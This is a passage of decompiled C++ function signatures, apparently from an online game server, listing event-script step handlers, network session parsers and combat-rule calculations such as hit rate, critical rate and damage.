*this, PineScriptStack::ProcessStack *ps); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListKQEnd::ali_Work(AxialListKQEnd *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectChange(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #593 *obj, unsigned __int16 mobhnd); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Mob::sa_Step(PineEventScriptNode::ShineChange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2NPC::sa_Step(PineEventScriptNode::ShineChange2NPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineExchange2Mob::sa_Step(PineEventScriptNode::ShineExchange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorOpen::sa_Step(PineEventScriptNode::ShineDoorOpen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorClose::sa_Step(PineEventScriptNode::ShineDoorClose *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __cdecl AxialListMobVanish::almv_Vanish(#593 *obj); char __thiscall AxialListMobVanish::ali_Work(AxialListMobVanish *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCChat::sa_Step(PineEventScriptNode::ShineNPCChat *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCShout::sa_Step(PineEventScriptNode::ShineNPCShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSummonMob::sa_Step(PineEventScriptNode::ShineSummonMob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBroadcast::sa_Step(PineEventScriptNode::ShineBroadcast *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineLinkTo::sa_Step(PineEventScriptNode::ShineLinkTo *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemDrop::sa_Step(PineEventScriptNode::ShineItemDrop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoClickMe::sa_Step(PineEventScriptNode::ShineWhoClickMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListItemErase4All::ali_Work(AxialListItemErase4All *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineItemErase::sa_Step(PineEventScriptNode::ShineItemErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemCreate::sa_Step(PineEventScriptNode::ShineItemCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvenSearch::sa_Step(PineEventScriptNode::ShineInvenSearch *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListMobStateSet::ali_Work(AxialListMobStateSet *this, #593 *, #593 *, unsigned int); char __thiscall AxialListPlayerStateSet::ali_Work(AxialListPlayerStateSet *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobSuicide::alms_SelfKill(AxialListMobSuicide *this, #593 *obj); char __thiscall AxialListMobSuicide::ali_Work(AxialListMobSuicide *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRun::sa_Step(PineEventScriptNode::ShineRun *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWalk::sa_Step(PineEventScriptNode::ShineWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectObject::sa_Step(PineEventScriptNode::ShineEffectObject *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectLocate::sa_Step(PineEventScriptNode::ShineEffectLocate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAggro::sa_Step(PineEventScriptNode::ShineAggro *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobDetectRange::sa_Step(PineEventScriptNode::ShineMobDetectRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHeal::sa_Step(PineEventScriptNode::ShineHeal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAnimate::sa_Step(PineEventScriptNode::ShineAnimate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDuplicate::sa_Step(PineEventScriptNode::ShineDuplicate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitIdle::sa_Step(PineEventScriptNode::ShineWaitIdle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemAttrSet::sa_Step(PineEventScriptNode::ShineItemAttrSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineScinarioCode::sa_Step(PineEventScriptNode::ShineScinarioCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStart::sa_Step(PineEventScriptNode::ShineBattleStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSendKQResult::sa_Step(PineEventScriptNode::ShineSendKQResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvidualReward::sa_Step(PineEventScriptNode::ShineInvidualReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReturnValue::sa_Step(PineEventScriptNode::ShineReturnValue *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSubLayerShift::sa_Step(PineEventScriptNode::ShineSubLayerShift *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleport::sa_Step(PineEventScriptNode::ShineTeleport *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemOwner::sa_Step(PineEventScriptNode::ShineItemOwner *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindowRange::sa_Step(PineEventScriptNode::ShineChatWindowRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobAttribute::sa_Step(PineEventScriptNode::ShineMobAttribute *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListObjectCollector::ala_CompareGuild(AxialListObjectCollector *this, #593 *obj); char __thiscall AxialListObjectCollector::ali_Work(AxialListObjectCollector *this, #593 *, #593 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfMID::sa_Step(PineEventScriptNode::ShineEndOfMID *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvidualMidReward::sa_Step(PineEventScriptNode::ShineInvidualMidReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMIDClearCount::sa_Step(PineEventScriptNode::ShineMIDClearCount *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeCreate::sa_Step(PineEventScriptNode::ShineCostumeCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeTakeOff::sa_Step(PineEventScriptNode::ShineCostumeTakeOff *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWeddingComplete::sa_Step(PineEventScriptNode::ShineWeddingComplete *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePlayerWalk::sa_Step(PineEventScriptNode::ShinePlayerWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoKillMe::sa_Step(PineEventScriptNode::ShineWhoKillMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::SendMapInMobInfo::sa_Step(PineEventScriptNode::SendMapInMobInfo *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::NPCChatNoFacecut::sa_Step(PineEventScriptNode::NPCChatNoFacecut *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ScinarioCodeParty::sa_Step(PineEventScriptNode::ScinarioCodeParty *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::BroadcastCode::sa_Step(PineEventScriptNode::BroadcastCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSpawn::sa_Step(PineEventScriptNode::ShineSpawn *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHPSet::sa_Step(PineEventScriptNode::ShineHPSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall PineScriptTemporaryString::PineScriptTemporaryString(PineScriptTemporaryString *this); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this); void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall List::l_Clear(List *this); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectRegen(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #593 *obj, unsigned __int16 mobhnd, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *brief); unsigned __int16 __thiscall PineEventScriptNode::ShineMobRegen::sa_Step(PineEventScriptNode::ShineMobRegen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindPlayer::sa_Step(PineEventScriptNode::ShineFindPlayer *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListBanArea::alba_Banish(AxialListBanArea *this); unsigned __int16 __thiscall PineEventScriptNode::ShineDiceGameStart::sa_Step(PineEventScriptNode::ShineDiceGameStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::HasAbstate::sa_Step(PineEventScriptNode::HasAbstate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTRegisterNPC::sa_Step(PineEventScriptNode::GTRegisterNPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::RegisterGTPortal::sa_Step(PineEventScriptNode::RegisterGTPortal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this); void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteFlag::sa_Step(PineEventScriptNode::ShineRegesteFlag *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteGate::sa_Step(PineEventScriptNode::ShineRegesteGate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ID_Fail::sa_Step(PineEventScriptNode::ID_Fail *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTMobRegenKey::sa_Step(PineEventScriptNode::GTMobRegenKey *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListBanArea::AxialListBanArea(AxialListBanArea *this, Name8 *banarea, #1265 *map, Name3 *towhere, int tox, int toy); unsigned __int16 __thiscall PineEventScriptNode::ShineBanFromArea::sa_Step(PineEventScriptNode::ShineBanFromArea *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListRevival::AxialListRevival(AxialListRevival *this); unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobWeaponRate::sa_Step(PineEventScriptNode::ShineMobWeaponRate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListBanArea::ali_Work(AxialListBanArea *this, #593 *, #593 *, unsigned int); char __thiscall AxialListRevival::ali_Work(AxialListRevival *this, #593 *, #593 *, unsigned int); void __thiscall CProtocolAnalysis::LogWriteAllNetCommand(CProtocolAnalysis *this); void __thiscall CProtocolAnalysis::IncAllNetCommand(CBriefProtocolAnalysis *this, NETCOMMAND nNetCommand); void __thiscall CBriefProtocolAnalysis::LogWriteBriefNetCommand(CBriefProtocolAnalysis *this); void __thiscall ShineObjectClass::ShineObject::so_ClearBriefInfoPointingCnt(int this); void __thiscall ShineObjectClass::ShineObject::so_IncBriefInfoPointingCnt(int this); void __thiscall ShineObjectClass::ShineObject::so_WriteBriefInfoQuetyData(int this, char nType); void __thiscall ShineObjectClass::ShinePlayer::so_WriteBriefInfoQuetyData(int this, char nType); void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #734 *, unsigned __int16); void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #734 *, unsigned __int16); void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #734 *, unsigned __int16); void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #734 *, unsigned __int16); void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #734 *, unsigned __int16); void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #734 *, unsigned __int16); void __thiscall ClientSession::zbs_Parsing(ClientSession *this, #734 *, unsigned __int16); void __thiscall ShineCommonParameter::_ShineCommonParameter(ShineScript *this); void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv); int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff); int __thiscall EngNormAtt::ena_masichitrate(EngNormAtt *this, #593 *, #593 *, EngageFlag *); void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this); void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this); int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #593 *, #593 *, EngageFlag *, char *); int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #593 *, #593 *, EngageFlag *); int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #593 *, #593 *, EngageFlag *); long double __thiscall RulesOfEngagement::roe_TH_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_TB_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_AC_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_MR_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_MinMA_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_MaxMA_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_MinWC_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); long double __thiscall RulesOfEngagement::roe_MaxWC_AppStat(RulesOfEngagement *this, EngageArgument *argument, unsigned __int16 wValue); char __thiscall RulesOfEngagement::roe_IsDamageSkill(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_ShieldBlock(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_HitRate(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_FreeStatCriRate(RulesOfEngagement *this, EngageArgument *argument, int crirate); long double __thiscall RulesOfEngagement::roe_FreeStatHitRate(RulesOfEngagement *this, EngageArgument *argument, int hitrate); void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument); int __thiscall RulesOfEngagement::roe_LevelGapDamageRevision(RulesOfEngagement *this, #593 *, #593 *, int); void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this); void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this); void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this); void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this); void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this); void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this); long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument); char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso); long double __thiscall RulesOfEngagementNormalMA::roe_FreeStateAttackPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_FreeStateAttackPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_FreeStateDefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_FreeStateDefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); void __thiscall RuleOfEngagementHealPower::RuleOfEngagementHealPower(RuleOfEngagementHealPower *this); void __thiscall RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #593 *, #593 *, EngageFlag *, char *); long double __thiscall RulesOfEngagement::roe_TH(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_TB(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinWC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxWC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_Damage(RulesOfEngagement *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_Damage(RulesOfEngagementNormalPY *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalMA::roe_Damage(RulesOfEngagementNormalMA *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_HitRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_CriticalRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_DefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_HitRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_CriticalRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_DefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_HitRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_HitRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_CriticalRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_DefendPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send); char __thiscall RulesOfEngagement::roe_IsDamageImmune(RulesOfEngagement *this, EngageArgument *argument); char __thiscall RulesOfEngagementNormalPY::roe_IsDamageImmune(RulesOfEngagementNormalPY *this, EngageArgument *argument); char __thiscall RulesOfEngagementNormalMA::roe_IsDamageImmune(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinWC_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxWC_AppViewStat(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall 